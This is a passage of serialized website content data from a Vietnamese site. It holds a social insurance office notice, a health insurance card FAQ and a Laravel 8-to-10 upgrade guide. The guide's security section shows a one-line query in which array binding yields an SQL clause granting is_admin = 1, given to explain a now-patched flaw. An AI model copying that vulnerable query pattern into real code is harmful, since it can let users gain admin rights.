22\u002F01\u002F2021, Tổng Giám đốc BHXH Việt Nam đã ký Quyết định số 128\u002FQĐ-BHXH về việc thành lập BHXH thành phố Thủ Đức và điều động cán bộ quản lý nhằm tiếp tục các hoạt động của ngành, đồng thời đảm bảo hoạt động an sinh xã hội trên địa bàn mới thành lập.",[11,22909,22910],{},"Quyết định thành lập BHXH thành phố Thủ Đức trên cơ sở sáp nhập BHXH Quận 2, BHXH Quận 9 và BHXH quận Thủ Đức trực thuộc BHXH Thành phố Hồ Chí Minh. BHXH thành phố Thủ Đức có tư cách pháp nhân, con dấu, tài khoản riêng, trụ sở đặt tại thành phố Thủ Đức. ",[11,22912,22913],{},"Chức năng, nhiệm vụ, quyền hạn và cơ cấu tổ chức của BHXH thành phố Thủ Đức thực hiện theo quy định tại Quyết định số 969\u002FQĐ-BHXH ngày 29\u002F7\u002F2019 của Tổng Giám đốc BHXH Việt Nam.",[11,22915,22916],{},"Quyết định có hiệu lực từ ngày 01\u002F02\u002F2021.",{"title":66,"searchDepth":67,"depth":67,"links":22918},[],"2021-05-28",{},"\u002Fvi\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc",{"title":22902,"description":22907},"vi\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F22092351\u002FThanhLapBHXHTPThuDuc.png","A3kYogtqoDY-oLLWJqyC7ed3vrLfe3fzfk5bIJmWo1E",{"id":22927,"title":22928,"body":22929,"category":69,"created by":70,"date":23029,"description":22933,"extension":72,"meta":23030,"navigation":74,"path":23031,"sections":76,"seo":23032,"stem":23033,"thumbnail":23034,"__hash__":23035},"content_vi\u002Fvi\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi.md","THÔNG TIN VỀ ĐIỀU KIỆN, ĐỐI TƯỢNG, THỦ TỤC, NƠI CẤP - ĐỔI THẺ BHYT MẪU MỚI",{"type":8,"value":22930,"toc":23027},[22931,22934,22939,22942,22947,22950,22961,22967,22972,22975,22992,22995,23001,23004,23011,23014,23017,23022],[11,22932,22933],{},"Từ ngày 01\u002F04\u002F2021, mẫu thẻ BHYT mới được áp dụng trên toàn quốc theo Quyết định số 1666 của BHXH Việt Nam. Dưới đây là một số thắc mắc thường gặp xung quanh việc áp dụng mẫu thẻ mới.",[11,22935,22936],{},[20,22937,22938],{},"1. Khi nào thì được cấp thẻ BHYT mẫu mới?",[11,22940,22941],{},"Khi BHXH các địa phương sử dụng hết phôi thẻ BHYT mẫu cũ thì mới tiến hành cấp thẻ BHYT mẫu mới.",[11,22943,22944],{},[20,22945,22946],{},"2. Thẻ BHYT mẫu mới được cấp cho những ai?",[11,22948,22949],{},"Sau khi BHXH các tỉnh sử dụng hết phôi thẻ BHYT mẫu cũ thì thực hiện cấp thẻ BHYT mẫu mới cho các trường hợp sau:",[31,22951,22952,22955,22958],{},[34,22953,22954],{},"Người mới tham gia BHYT.",[34,22956,22957],{},"Người tham gia bị mất thẻ BHYT.",[34,22959,22960],{},"Người tham gia bị rách, hỏng hoặc thay đổi thông tin trên thẻ BHYT.",[11,22962,22963,22966],{},[1277,22964,22965],{},"* Lưu ý:"," Trong giai đoạn chuyển đổi từ thẻ BHYT mẫu cũ sang mẫu mới, những người đang sử dụng thẻ BHYT mẫu cũ còn thời hạn sử dụng, tiếp tục được dùng để đi khám chữa bệnh BHYT và gia hạn giá trị sử dụng thẻ BHYT trên cơ sở dữ liệu quản lý, không thực hiện in, đổi thẻ BHYT (trừ các trường hợp nêu trên).",[11,22968,22969],{},[20,22970,22971],{},"3. Nơi nhận hồ sơ cấp mới\u002Fcấp lại thẻ BHYT",[11,22973,22974],{},"a) Tại cơ quan BHXH với những trường hợp sau:",[31,22976,22977,22980,22983,22986,22989],{},[34,22978,22979],{},"Người được tổ chức BHXH đóng BHYT.",[34,22981,22982],{},"Người được ngân sách nhà nước hỗ trợ một phần mức đóng BHYT.",[34,22984,22985],{},"Người tham gia BHYT theo hộ gia đình.",[34,22987,22988],{},"Người đang hưởng trợ cấp thất nghiệp đổi thẻ BHYT.",[34,22990,22991],{},"Người đã hiến bộ phận cơ thể.",[11,22993,22994],{},"b) Tại Đại lý thu BHXH, BHYT với những trường hợp sau:",[31,22996,22997,22999],{},[34,22998,22982],{},[34,23000,22985],{},[11,23002,23003],{},"c) Tại UBND xã với những trường hợp sau:",[31,23005,23006,23009],{},[34,23007,23008],{},"Người được ngân sách nhà nước đóng BHYT.",[34,23010,22979],{},[11,23012,23013],{},"d) Tại Doanh nghiệp: Người tham gia BHYT đóng tại doanh nghiệp, nộp hồ sơ cho đơn vị sử dụng lao động.",[11,23015,23016],{},"e) Tai Trường học: Học sinh, sinh viên đóng BHYT theo nhà trường, nộp hồ sơ cho nhà trường.",[11,23018,23019],{},[20,23020,23021],{},"4. Thủ tục, hồ sơ đăng ký khi đổi thẻ cần những gì?",[31,23023,23024],{},[34,23025,23026],{},"Tờ khai tham gia, điều chỉnh thông tin BHXH, BHYT (Mẫu TK1-TS).",{"title":66,"searchDepth":67,"depth":67,"links":23028},[],"2021-07-02",{},"\u002Fvi\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi",{"title":22928,"description":22933},"vi\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F02084430\u002FDieuKien-DoiTuong-ThuTuc-NoiCapDoiTheBHYT.png","DEUIEzF_9vyU0BhcVTcUVlkT8bYU60m02lAtr0IFkmI",{"id":23037,"title":23038,"body":23039,"category":1430,"created by":70,"date":24230,"description":24231,"extension":72,"meta":24232,"navigation":74,"path":24233,"sections":76,"seo":24234,"stem":24235,"thumbnail":24236,"__hash__":24237},"content_vi\u002Fvi\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10.md","Tính năng mới và cách nâng cấp version từ Laravel 8 lên Laravel 10",{"type":8,"value":23040,"toc":24179},[23041,23045,23048,23057,23061,23067,23082,23086,23094,23098,23105,23109,23113,23116,23122,23125,23129,23141,23145,23154,23160,23163,23167,23171,23174,23178,23182,23189,23193,23197,23200,23204,23208,23211,23215,23228,23235,23239,23243,23246,23250,23254,23260,23264,23268,23271,23278,23281,23285,23289,23292,23296,23300,23303,23307,23311,23314,23318,23322,23336,23340,23354,23358,23361,23365,23373,23375,23379,23383,23394,23398,23405,23409,23429,23435,23438,23444,23446,23449,23451,23457,23461,23464,23468,23474,23477,23483,23489,23498,23504,23513,23519,23534,23540,23546,23549,23554,23560,23565,23568,23573,23579,23585,23588,23594,23599,23611,23616,23618,23623,23626,23632,23638,23641,23647,23658,23664,23670,23677,23683,23687,23693,23696,23700,23707,23713,23719,23725,23736,23742,23746,23752,23754,23758,23761,23765,23768,23793,23809,23815,23835,23849,23856,23862,23865,23869,23878,23884,23888,23897,23903,23906,23912,23916,23919,23925,23928,23934,23938,23961,23965,23978,23982,23994,23998,24001,24007,24011,24024,24030,24033,24039,24042,24046,24053,24056,24062,24066,24069,24072,24078,24081,24087,24091,24094,24100,24105,24108,24113,24116,24122,24129,24133],[498,23042,23044],{"id":23043},"vì-sao-bạn-nên-nâng-cấp-version-cho-dự-án-laravel-8","Vì sao bạn nên nâng cấp version cho dự án Laravel 8?",[11,23046,23047],{},"Các phiên bản mới của Laravel sẽ được release mỗi năm. Và các đợt release này sẽ có ít hay nhiều những thay đổi, chẳng hạn như cập nhật những tính năng mới, hoặc bỏ đi những tính năng không hợp lí, ... Vì vậy, nếu bạn càng để nhiều version cần phải nâng cấp, thì nó càng khó khăn và tốn nhiều thời gian hơn để nâng cấp.  Lí do chính cho sự khó khăn khi nâng cấp như vậy là do dự án của bạn sẽ liên tục trở nên lớn dần theo thời gian, và các hàm, các method sẽ ngày càng phụ thuộc lẫn nhau. Điều này khiến cho việc thay đổi một tính năng nào đó sẽ ảnh hưởng không nhỏ đến các tính năng còn lại. Một điều đáng lưu ý nữa là từ khi Laravel 10 được release, thì Laravel 8 đã không còn được bảo trì cũng như có support cho nó. Vì vậy, ban nên nâng cấp càng sớm càng tốt.",[11,23049,23050,23051,23056],{},"Đó cũng là một trong các nội dung chính của blog này là sẽ chỉ cho bạn cách nâng cấp lên version Laravel 10. Tuy nhiên, việc nâng cấp theo hướng dẫn bên dưới chỉ là thủ công, không phải tự động bằng việc sử dụng công cụ như ",[58,23052,23055],{"href":23053,"rel":23054},"https:\u002F\u002Flaravelshift.com\u002F",[62],"Laravel Shift"," (công cụ này tốn phí để dùng), vì vậy bạn hãy cân nhắc nhé!",[490,23058,23060],{"id":23059},"giới-thiệu-tính-năng-mới-trong-laravel-10","Giới thiệu tính năng mới trong Laravel 10:",[498,23062,15477,23064],{"id":23063},"_1-laravel-pennant",[20,23065,23066],{},"Laravel Pennant:",[11,23068,23069,23070,23073,23074,23077,23078,23081],{},"Đây là một package mới trong Laravel 10. Nó cung cấp tính năng ",[20,23071,23072],{},"feature flag"," cho ứng dụng của bạn. Nghĩa là bạn có thể flag một tính năng là có thể sử dụng hoặc không thể sử dụng. Để dễ hình dung, giả sử ứng dụng của bạn có một tính năng gọi là \"đặt lịch họp - meeting booking\" và tính năng này chỉ có ",[1277,23075,23076],{},"boss"," thực hiện được thôi. Có nghĩa là tính năng này có một thuộc tính gọi là ",[20,23079,23080],{},"tính khả dụng",". Và để kiểm tra tính khả dụng của tính năng đó, bạn có thể khai báo Feature và check nó như bên dưới:",[533,23083],{"className":23084,"alt":66,"src":23085,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30160709\u002Flaravel-pennant-768x435.png",[11,23087,23088,23089,974],{},"Để học cách dùng package này, bạn hãy xem ",[58,23090,23093],{"href":23091,"rel":23092},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fpennant",[62],"Laravel Pennant documentation",[498,23095,23097],{"id":23096},"_2-process-interaction","2. Process Interaction:",[11,23099,23100,23101,23104],{},"Laravel 10 cung cấp một lớp abstraction để bạn có thể tương tác với trình thực thi của ứng dụng - còn gọi là process. Cụ thể tính năng này cho phép bạn gọi các câu lệnh command, hoặc gọi nó dưới dạng ",[1277,23102,23103],{},"fake"," để thực hiện testing:",[533,23106],{"className":23107,"alt":66,"src":23108,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30161252\u002Fprocess-call-768x375.png",[498,23110,23112],{"id":23111},"_3-test-profiling","3. Test Profiling:",[11,23114,23115],{},"Lệnh test chạy bằng artisan giờ đây đã có thêm một option parameter mới đó là --profile. Khi truyền option này, nó sẽ giúp bạn biết là file test nào chạy chậm hay chạy nhanh trong bao nhiêu giây.",[696,23117,23120],{"className":23118,"code":23119,"language":701},[699],"php artisan test --profile\n",[703,23121,23119],{"__ignoreMap":66},[11,23123,23124],{},"Kết quả thực thi test khi có truyền --profile:",[533,23126],{"className":23127,"alt":66,"src":23128,"style":1999},[536,537],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F5457236\u002F217328439-d8d983ec-d0fc-4cde-93d9-ae5bccf5df14.png",[11,23130,23132,23133,18524],{"className":23131},[2565,2566,2567,2568,2569],"\n  (src:\n  ",[58,23134,23140],{"href":23135,"target":23136,"rel":23137},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#test-profiling","_blank",[23138,23139],"noopener","noreferrer","\n    https:\u002F\u002Flaravel.com\u002F\n  ",[498,23142,23144],{"id":23143},"_4-pest-scaffolding","4. Pest Scaffolding:",[11,23146,23147,23148,23153],{},"Pest là một PHP Testing Framework được cung cấp bởi PHPUnit. Và Laravel giờ đây đã hỗ trợ làm việc với Pest. Khi tạo mới project, bạn có thể chọn mặc định tạo ",[58,23149,23152],{"href":23150,"rel":23151},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#pest-scaffolding",[62],"Pest test scaffolding"," bằng cách truyền option param --pest:",[696,23155,23158],{"className":23156,"code":23157,"language":701},[699],"laravel new example-application --pest\n",[703,23159,23157],{"__ignoreMap":66},[23161,23162],"hr",{},[490,23164,23166],{"id":23165},"giới-thiệu-tính-năng-mới-trong-laravel-9","Giới thiệu tính năng mới trong Laravel 9:",[498,23168,23170],{"id":23169},"_1-accessors-and-mutators-đã-đơn-giản-hơn-xưa","1. Accessors and Mutators đã đơn giản hơn xưa:",[11,23172,23173],{},"\"Accessors and Mutators\" hay còn gọi là \"getter and setter\". Theo kiểu truyền thống,  để khai báo một getter hay setter thì bạn sẽ thêm một prefix \"get\", \"set\" và theo sau là tên thuộc tính đó. Cách này vẫn còn dùng được trong các version mới chứ không phải đã bị bỏ đi. Tuy nhiên, bạn nên dùng cách mới như bên dưới vì nó gọn và đơn giản hơn nhiều:",[533,23175],{"className":23176,"alt":66,"src":23177,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162149\u002Fgetter-setter-declartion.png",[498,23179,23181],{"id":23180},"_2-enum-attribute-casting","2. Enum Attribute Casting:",[11,23183,23184,23185,23188],{},"PHP 8 giờ đã hỗ trợ khai báo ",[1277,23186,23187],{},"enum",". Vì thế, Laravel 9 cũng đã cập  nhật tính năng mới này. Giờ đây bạn có thể casting một thuộc tính của Eloquent model bằng enum. Ví dụ, bạn có thể khai báo và sử dụng 1 enum như sau:",[533,23190],{"className":23191,"alt":66,"src":23192,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162343\u002Fenum-768x786.png",[498,23194,23196],{"id":23195},"_3-route-bindings-với-enums","3. Route Bindings với Enums:",[11,23198,23199],{},"Tính năng này cho phép binding giá trị của Request parameter bằng enum. Nghĩa là bạn khai báo trước một enum, và binding nó như bên dưới. Nếu request gọi tới truyền vào giá trị không tồn tại trong khai báo của enum thì nó sẽ trả về lỗi HTTP 404, thay cho việc chúng ta phải kiểm tra ở Controller như trước đây:",[533,23201],{"className":23202,"alt":66,"src":23203,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162513\u002Froute-enum-768x360.png",[498,23205,23207],{"id":23206},"_4-forced-scoping-of-route-bindings","4. Forced Scoping Of Route Bindings:",[11,23209,23210],{},"Trong các phiên bản trước Laravel, bạn có thể khai báo route như bên dưới để cho scope của Eloquent model thứ hai truyền vào hàm handler tham chiếu đến model thứ nhất. Chẳng hạn, hãy tham khảo cách khai báo route như bên dưới, chúng ta khai báo rằng post này thuộc về một user và có thể sử dụng slug để truy vấn:",[533,23212],{"className":23213,"alt":66,"src":23214,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162851\u002Fscope-biding-1-768x195.png",[11,23216,23217,23218,23223,23224,23227],{},"Khi báo như trên, Laravel sẽ tự động xác định các trường khoá ngoại (foreign key) dựa vào các quy tắc sẵn (conventions). Tuy nhiên, bạn cần phải khai báo ",[58,23219,23222],{"href":23220,"rel":23221},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Frouting#implicit-model-binding-scoping",[62],"custom key binding"," cho ",[20,23225,23226],{},":slug"," trước đó, nếu không, nó sẽ không biết cần phải binding model thứ hai truyền vào.",[11,23229,23230,23231,23234],{},"Tuy nhiên thì trong phiên bản mới, bạn chỉ việc gọi đến hàm ",[1277,23232,23233],{},"scopeBinding()"," là được:",[533,23236],{"className":23237,"alt":66,"src":23238,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163001\u002Fscope-biding-2-1024x443.png",[498,23240,23242],{"id":23241},"_5-controller-route-groups","5. Controller Route Groups:",[11,23244,23245],{},"Giờ đây bạn có thể group các route theo controller như sau:",[533,23247],{"className":23248,"alt":66,"src":23249,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163135\u002Fcontroller-route-gr-768x171.png",[498,23251,23253],{"id":23252},"_6-full-text-indexes-where-clauses","6. Full Text Indexes \u002F Where Clauses:",[11,23255,23256,23257,1170],{},"Truy vấn full-text giờ đã được hỗ trợ với các hàm mới như ",[1277,23258,23259],{},"whereFullText(), orWhereFullText()",[533,23261],{"className":23262,"alt":66,"src":23263,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163247\u002Ffull-text-search.png",[498,23265,23267],{"id":23266},"_7-laravel-scout-database-engine","7. Laravel Scout Database Engine:",[11,23269,23270],{},"Mục đích chính mà Scout mong muốn mang đến là đơn giản hoá quá trình làm việc của ứng dụng với một full-text search engine. Scout là được xây dựng theo hướng driver based, nghĩa là bạn có thể làm việc với đa đạng các engine như Elasticsearch, Algolia, MeiliSearch, hay MySql, Postgre... mà chỉ thông qua API của Scout là được.",[11,23272,23273,23274,23277],{},"Ý tưởng chủ chốt là nó sẽ cho phép Eloquent model gọi đến một hàm ",[1277,23275,23276],{},"search()","  để thực hiện full-text search. Đồng thời, khi bạn thực hiện thêm, xoá, sửa dữ liệu trong database, thì nó cũng sẽ tự động đồng bộ lên full-text engine tương ứng. Tuy nhiên, vì hàm search này chỉ hỗ trợ query đơn giản nên nó không phù hợp với các dự án lớn mà chỉ dùng cho dự án vừa và nhỏ.",[11,23279,23280],{},"Hãy tham khảo lời gọi hàm search dưới đây:",[533,23282],{"className":23283,"alt":66,"src":23284,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163504\u002Fscout-768x279.png",[498,23286,23288],{"id":23287},"_8-rendering-inline-blade-templates","8. Rendering Inline Blade Templates:",[11,23290,23291],{},"Thay vì phải tạo một file blade.php thì giờ đây, mã Blade có thể được biên dịch bằng lời gọi hàm Blade::render(). Đây là một tính năng rất hữu ích trong trường hợp bạn cần gọi AJAX để lấy một partial view để cập nhật lên giao diện của ứng dụng SPA.",[533,23293],{"className":23294,"alt":66,"src":23295,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163626\u002Finline-blade-768x279.png",[498,23297,23299],{"id":23298},"_9-slot-name-shortcut","9. Slot Name Shortcut:",[11,23301,23302],{},"Trong phiên bản cũ, slot name được truyền thông qua name attribute trong thẻ x-slot. Nhưng với Laravel 9.x, bạn có thể truyền một cách gọn gàng hơn như sau:",[533,23304],{"className":23305,"alt":66,"src":23306,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163803\u002Fslot-name.png",[498,23308,23310],{"id":23309},"_10-lấy-giá-trị-value-của-nested-array-cho-validation","10. Lấy giá trị value của Nested Array cho Validation:",[11,23312,23313],{},"Đối với các input dạng nested array, đôi khi bạn sẽ cần phải kiểm tra giá trị của input trước khi quyết định sẽ gắn rule validation nào cho nó. Giờ đây bạn có thể dùng hàm Rule::forEach() cho việc này:",[533,23315],{"className":23316,"alt":66,"src":23317,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163940\u002Fvalidation-ar-768x255.png",[498,23319,23321],{"id":23320},"_11-laravel-breeze-api-nextjs","11. Laravel Breeze API & Next.js:",[11,23323,23324,23329,23330,23335],{},[58,23325,23328],{"href":23326,"rel":23327},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fstarter-kits#breeze-and-next",[62],"Laravel Breeze"," starter kit đã được thêm chế độ scaffolding mới đó là \"API\" để tương thích với các ứng dụng với ",[58,23331,23334],{"href":23332,"rel":23333},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Fbreeze-next",[62],"Next.js"," làm frontend. Bộ starter kit này giúp bạn nhanh chóng setup một ứng dụng Javascript frontend mà phía backend sẽ được xây dựng với Laravel, đồng thời cho phép xác thực user với Sanctum API.",[498,23337,23339],{"id":23338},"_12-bunlding-with-vite","12. Bunlding with Vite:",[11,23341,23342,23343,23348,23349,974],{},"Thay vì bundling các file javascript hoặc css bằng ",[58,23344,23347],{"href":23345,"rel":23346},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fmix#main-content",[62],"Mix webpack",", Laravel đang chuyển dần sang sử dụng Vite. Chi tiết cách sử dụng Vite ",[58,23350,23353],{"href":23351,"rel":23352},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvite#main-content",[62],"có thể xem ở đây",[498,23355,23357],{"id":23356},"_13-cải-thiện-giao-diện-cho-trang-exception","13. Cải thiện giao diện cho trang Exception:",[11,23359,23360],{},"Giao diện và tính năng mới đã được thêm vào trang Exception để dễ sử dụng và debug hiệu quả hơn.",[533,23362],{"className":23363,"alt":66,"src":23364,"style":1999},[536,537],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F483853\u002F149235404-f7caba56-ebdf-499e-9883-cac5d5610369.png",[11,23366,23132,23368,18524],{"className":23367},[2565,2566,2567,2568,2569],[58,23369,23372],{"href":23370,"target":23136,"rel":23371},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page",[23138,23139],"\n    https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page\n  ",[23161,23374],{},[490,23376,23378],{"id":23377},"lỗ-hổng-bảo-mật-đã-được-cập-nhật-trong-phiên-bản-mới","Lỗ hổng bảo mật đã được cập nhật trong phiên bản mới:",[657,23380,23382],{"id":23381},"ngăn-chặn-tải-file-thuộc-định-dạng-phar","Ngăn chặn tải file thuộc định dạng .phar:",[11,23384,23385,23386,23389,23390,23393],{},"Khi bạn upload các file thuộc định dạng \"PHP executable\", thì Laravel sẽ ngăn chặn và lọc nó ra vì yếu tố bảo mật. Bao gồm các file có định dạng ",[703,23387,23388],{},"'.php', '.php3', '.php4', '.php5', '.php7', '.php8', '.phtml'"," . Tuy nhiên vẫn còn một định dạng bị thiếu đó là ",[703,23391,23392],{},"'.phar'"," và Laravel đã cập nhật nó trong phiên bản mới.",[657,23395,23397],{"id":23396},"sql-injection-trong-sql-server","SQL Injection trong SQL Server:",[11,23399,23400,23401,23404],{},"Laravel đã cập nhật một lỗ hổng bảo mật có liên quan đến các cuộc tấn công kiểu SQL Injection. Lỗ hổng này xảy ra khi bạn truyền trực tiếp user input vào các hàm ",[703,23402,23403],{},"limit() và offset()"," của SQL Server (Các database loại khác như MySQL hay Postgres thì không bị ảnh hưởng bởi lỗ hổng này).",[657,23406,23408],{"id":23407},"sql-injection-binding-query-parameter-với-array","SQL Injection – Binding query parameter với array:",[11,23410,23411,23412,23415,23416,23418,23419,23421,23422,23425,23426,974],{},"Đoạn code dưới đây có thể dẫn đến một cuộc tấn công kiểu SQL Injection. Nguyên do là vì ",[703,23413,23414],{},"is_admin"," sẽ được gán giá trị bằng ",[703,23417,403],{}," thay vì ",[703,23420,13150],{},". Sự gán sai giá trị  này xảy ra khi bạn truyền  một array vào ",[703,23423,23424],{},"$value = [1,1]"," cho hàm ",[703,23427,23428],{},"where()",[696,23430,23433],{"className":23431,"code":23432,"language":701},[699],"User::where('id', [1,1])->where('is_admin', 0)->first();\n\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 1\n",[703,23434,23432],{"__ignoreMap":66},[11,23436,23437],{},"Nhưng lỗ hổng này đã được cập nhật. Và giờ đoạn query sẽ được tạo như sau:",[696,23439,23442],{"className":23440,"code":23441,"language":701},[699],"\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 0\n",[703,23443,23441],{"__ignoreMap":66},[23161,23445],{},[11,23447,23448],{},"Trên đây, chúng tôi đã trình bày những tính năng mới trong Laravel 9, 10. Đồng thời, chúng tôi cũng đã đề cập đến các lỗ hổng bảo mật mà Laravel đã cập nhật. Tiếp theo, phần bên dưới sẽ hướng dẫn cách nâng cấp version cho dự án từ Laravel 8 lên Laravel 10.",[23161,23450],{},[490,23452,23454],{"id":23453},"hướng-dẫn-nâng-cấp-dự-án-từ-laravel-8-lên-laravel-10",[20,23455,23456],{},"Hướng dẫn nâng cấp dự án từ Laravel 8 lên Laravel 10:",[498,23458,23460],{"id":23459},"nâng-cấp-lên-php-810-composer-220","Nâng cấp lên PHP 8.1.0 & Composer 2.2.0:",[11,23462,23463],{},"Laravel 10 yêu cầu phải cài đặt PHP 8.1.0 trở lên và Composer 2.2.0 trở lên, vì vậy bạn cũng cần phải điều chỉnh version sao cho phù hợp. Đây là bước bắt buộc trước khi bạn tiến hành nâng cấp lên Laravel 10.",[498,23465,23467],{"id":23466},"thay-đổi-về-dependencies-trong-composerjson","Thay đổi về dependencies trong composer.json:",[657,23469,23471],{"id":23470},"a-các-packages-cần-được-nâng-cấp-version",[20,23472,23473],{},"a. Các Packages cần được nâng cấp version:",[11,23475,23476],{},"Bên dưới là các package cần được nâng cấp lên version mới hơn. Bạn hãy làm theo hướng dẫn bên dưới.",[11,23478,20976,23479,23482],{},[1277,23480,23481],{},"composer.json"," thay đổi giá trị version của các package như sau:",[696,23484,23487],{"className":23485,"code":23486,"language":701},[699],"{\n  \"require\": {\n    \"php\": \"^8.1\",\n    \"laravel\u002Fframework\": \"^10.0\",\n    \"laravel\u002Fsanctum\": \"^3.2\",\n    \"doctrine\u002Fdbal\": \"^3.0\",\n    \"laravel\u002Fpassport\": \"^11.0\"\n  },\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^6.1\",\n    \"spatie\u002Flaravel-ignition\": \"^2.0\"\n  }\n}\n",[703,23488,23486],{"__ignoreMap":66},[11,23490,23491,23492,23497],{},"Nếu bạn có sử dụng tính năng ",[58,23493,23496],{"href":23494,"rel":23495},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fbroadcasting#pusher-channels",[62],"Broadcasting",", thì hãy thay đổi version như bên dưới:",[696,23499,23502],{"className":23500,"code":23501,"language":701},[699],"{\n  \"require\": {\n    \"pusher\u002Fpusher-php-server\": \"^5.0\"\n  }\n}\n",[703,23503,23501],{"__ignoreMap":66},[11,23505,23506,23507,23512],{},"Nếu bạn có sử dụng driver S3, FTP, hoặc SFTP thông qua facade ",[58,23508,23511],{"href":23509,"rel":23510},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Ffilesystem#main-content",[62],"Storage",", thì hãy thay đổi version của package tương ứng như bên dưới:",[696,23514,23517],{"className":23515,"code":23516,"language":701},[699],"{\n  \"require\": {\n    \"league\u002Fflysystem-aws-s3-v3\": \"^3.0\",\n    \"league\u002Fflysystem-ftp\": \"^3.0\",\n    \"league\u002Fflysystem-sftp-v3\": \"^3.0\"\n  }\n}\n",[703,23518,23516],{"__ignoreMap":66},[11,23520,23521,23522,23525,23526,23529,23530,23533],{},"Nếu như bạn muốn sử dụng PHPUnit 10, hãy xoá thuộc tính ",[703,23523,23524],{},"processUncoveredFiles=\"true\""," của phần ",[703,23527,23528],{},"\u003Ccoverage>"," trong file config có tên là ",[1277,23531,23532],{},"phpunit.xml",". Sau đó, thay đổi version của các package như bên dưới:",[696,23535,23538],{"className":23536,"code":23537,"language":701},[699],"{\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^7.0\",\n    \"phpunit\u002Fphpunit\": \"^10.0\"\n  }\n}\n",[703,23539,23537],{"__ignoreMap":66},[657,23541,23543],{"id":23542},"b-các-packages-mà-laravel-đã-loại-bỏ",[20,23544,23545],{},"b. Các packages mà Laravel đã loại bỏ:",[11,23547,23548],{},"Những package dưới đây đã không còn được Laravel sử dụng nữa, vì vậy, bạn có thể xoá nó đi để nhẹ source hơn.",[11,23550,23551],{},[20,23552,23553],{},"Trusted Proxies:",[11,23555,20976,23556,23559],{},[1277,23557,23558],{},"app\u002FHttp\u002FMiddleware\u002FTrustProxies.php"," file, hãy đổi như bên dưới:",[11,23561,23562],{},[703,23563,23564],{},"use Fideloper\\Proxy\\TrustProxies as Middleware;",[11,23566,23567],{},"đổi như sau",[11,23569,23570],{},[703,23571,23572],{},"use Illuminate\\Http\\Middleware\\TrustProxies as Middleware;",[11,23574,23575,23576,23578],{},"Tiếp theo, trong file ",[1277,23577,23558],{},", đổi giá trị của thuộc tính $headers như sau:",[696,23580,23583],{"className":23581,"code":23582,"language":701},[699],"\u002F\u002F Before...\nprotected $headers = Request::HEADER_X_FORWARDED_ALL;\n\u002F\u002F After...\nprotected $headers =\n    Request::HEADER_X_FORWARDED_FOR |\n    Request::HEADER_X_FORWARDED_HOST |\n    Request::HEADER_X_FORWARDED_PORT |\n    